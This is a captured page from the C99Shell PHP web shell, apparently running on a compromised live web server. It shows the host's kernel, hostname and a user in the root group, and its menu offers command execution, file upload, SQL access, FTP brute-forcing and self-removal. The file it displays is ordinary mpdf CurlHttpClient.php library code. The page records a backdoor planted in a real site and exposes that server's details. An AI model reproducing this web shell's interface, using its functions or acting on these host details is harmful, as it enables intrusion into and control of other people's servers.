!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/Http/   drwxr-xr-x
Free 26.09 GB of 117.98 GB (22.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CurlHttpClient.php (2.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf\Http;

use 
Mpdf\Log\Context as LogContext;
use 
Mpdf\Mpdf;
use 
Psr\Http\Message\RequestInterface;
use 
Psr\Log\LoggerInterface;

class 
CurlHttpClient implements \Mpdf\Http\ClientInterface\Psr\Log\LoggerAwareInterface
{

    private 
$mpdf;

    private 
$logger;

    public function 
__construct(Mpdf $mpdfLoggerInterface $logger)
    {
        
$this->mpdf $mpdf;
        
$this->logger $logger;
    }

    public function 
sendRequest(RequestInterface $request)
    {
        if (
null === $request->getUri()) {
            return (new 
Response());
        }

        
$url $request->getUri();

        
$this->logger->debug(sprintf('Fetching (cURL) content of remote URL "%s"'$url), ['context' => LogContext::REMOTE_CONTENT]);

        
$response = new Response();

        
$ch curl_init($url);

        
curl_setopt($chCURLOPT_USERAGENT$this->mpdf->curlUserAgent);
        
curl_setopt($chCURLOPT_HEADER0);
        
curl_setopt($chCURLOPT_NOBODY0);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
curl_setopt($chCURLOPT_CONNECTTIMEOUT$this->mpdf->curlTimeout);

        if (
$this->mpdf->curlExecutionTimeout) {
            
curl_setopt($chCURLOPT_TIMEOUT$this->mpdf->curlExecutionTimeout);
        }

        if (
$this->mpdf->curlFollowLocation) {
            
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
        }

        if (
$this->mpdf->curlAllowUnsafeSslRequests) {
            
curl_setopt($chCURLOPT_SSL_VERIFYHOSTfalse);
            
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
        }

        if (
$this->mpdf->curlCaCertificate && is_file($this->mpdf->curlCaCertificate)) {
            
curl_setopt($chCURLOPT_CAINFO$this->mpdf->curlCaCertificate);
        }

        if (
$this->mpdf->curlProxy) {
            
curl_setopt($chCURLOPT_PROXY$this->mpdf->curlProxy);
            if (
$this->mpdf->curlProxyAuth) {
                
curl_setopt($chCURLOPT_PROXYUSERPWD$this->mpdf->curlProxyAuth);
            }
        }

        
curl_setopt(
            
$ch,
            
CURLOPT_HEADERFUNCTION,
            static function (
$curl$header) use (&$response) {
                
$len strlen($header);
                
$header explode(':'$header2);
                if (
count($header) < 2) { // ignore invalid headers
                    
return $len;
                }

                
$response $response->withHeader(trim($header[0]), trim($header[1]));

                return 
$len;
            }
        );

        
$data curl_exec($ch);

        if (
curl_error($ch)) {
            
$message sprintf('cURL error: "%s"'curl_error($ch));
            
$this->logger->error($message, ['context' => LogContext::REMOTE_CONTENT]);

            if (
$this->mpdf->debug) {
                throw new 
\Mpdf\MpdfException($message);
            }

            
curl_close($ch);

            return 
$response;
        }

        
$info curl_getinfo($ch);
        if (isset(
$info['http_code']) && $info['http_code'] !== 200) {
            
$message sprintf('HTTP error: %d'$info['http_code']);
            
$this->logger->error($message, ['context' => LogContext::REMOTE_CONTENT]);

            if (
$this->mpdf->debug) {
                throw new 
\Mpdf\MpdfException($message);
            }

            
curl_close($ch);

            return 
$response->withStatus($info['http_code']);
        }

        
curl_close($ch);

        return 
$response
            
->withStatus($info['http_code'])
            ->
withBody(Stream::create($data));
    }

    public function 
setLogger(LoggerInterface $logger)
    {
        
$this->logger $logger;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--